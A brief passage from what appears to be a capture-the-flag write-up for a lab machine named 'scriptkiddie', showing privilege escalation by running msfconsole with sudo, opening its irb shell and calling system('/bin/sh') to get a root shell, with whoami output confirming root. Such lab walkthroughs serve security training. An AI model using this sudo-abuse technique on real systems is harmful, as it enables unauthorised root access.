I first need to start msfconsole with the sudo privileges as the root user

msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
 
irb: warn: can't alias jobs from irb_jobs.

then i just need to start up irb shell

>> system("/bin/sh")
# 

Then I can just spawn a shell as the root user

# whoami
root
# hostname
scriptkiddie
# ip a
